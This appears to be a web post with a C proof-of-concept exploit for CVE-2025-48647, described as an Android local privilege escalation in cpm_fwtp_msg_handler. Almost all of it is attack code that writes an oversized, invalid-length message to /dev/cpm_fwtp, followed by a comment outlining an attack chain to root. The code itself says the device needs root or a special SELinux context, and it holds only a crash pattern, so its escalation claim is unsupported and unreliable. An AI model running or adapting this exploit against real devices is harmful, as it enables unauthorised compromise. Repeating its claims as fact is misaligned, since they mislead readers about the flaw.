CVE-2025-48647 Android cpm_fwtp_msg_handler内存覆盖本地提权漏洞

// CVE-2025-48647 PoC - Local Privilege Escalation via cpm_fwtp_msg_handler // This PoC demonstrates the improper input validation in cpm_fwtp_ipc.c // Compile: gcc -o cve_2025_48647_poc cve_2025_48647_poc.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> // FWTP message types #define FWTP_MSG_TYPE_DATA 0x01 #define FWTP_MSG_TYPE_CONTROL 0x02 // Malicious FWTP message structure struct fwtp_message { uint32_t msg_type; uint32_t msg_length; uint32_t flags; char payload[256]; // Oversized payload to trigger overflow }; // Function to send malicious FWTP message int send_malicious_fwtp_message(int fd, struct fwtp_message *msg) { printf("[*] Sending malicious FWTP message...\n"); printf("[*] Message type: 0x%x\n", msg->msg_type); printf("[*] Message length: %u bytes\n", msg->msg_length); ssize_t written = write(fd, msg, sizeof(struct fwtp_message)); if (written < 0) { perror("[-] Write failed"); return -1; } printf("[+] Sent %zd bytes\n", written); return 0; } int main(int argc, char *argv[]) { printf("========================================\n"); printf("CVE-2025-48647 PoC\n"); printf("Android cpm_fwtp_msg_handler Memory Overwrite\n"); printf("========================================\n\n"); // Open the FWTP IPC endpoint const char *fwtp_device = "/dev/cpm_fwtp"; int fd = open(fwtp_device, O_RDWR); if (fd < 0) { printf("[-] Cannot open %s (requires root or specific SELinux context)\n", fwtp_device); printf("[*] This vulnerability requires local access to the device\n"); return 1; } // Prepare malicious message with oversized payload struct fwtp_message malicious_msg; memset(&malicious_msg, 0, sizeof(malicious_msg)); malicious_msg.msg_type = FWTP_MSG_TYPE_DATA; malicious_msg.msg_length = 0xFFFFFFFF; // Invalid length to trigger overflow malicious_msg.flags = 0; // Fill payload with pattern to identify overflow memset(malicious_msg.payload, 0x41, sizeof(malicious_msg.payload)); printf("[*] Exploiting cpm_fwtp_msg_handler...\n"); // Send the malicious message int ret = send_malicious_fwtp_message(fd, &malicious_msg); if (ret == 0) { printf("[+] Malicious message sent successfully\n"); printf("[*] Check for privilege escalation or system crash\n"); } close(fd); return ret; } /* * Attack Chain: * 1. Attacker gains local access to Android device (low privilege) * 2. Opens FWTP IPC endpoint /dev/cpm_fwtp * 3. Sends specially crafted FWTP message with invalid length field * 4. cpm_fwtp_msg_handler fails to validate input properly * 5. Memory overwrite occurs in kernel/system service context * 6. Attacker achieves local privilege escalation to root/system */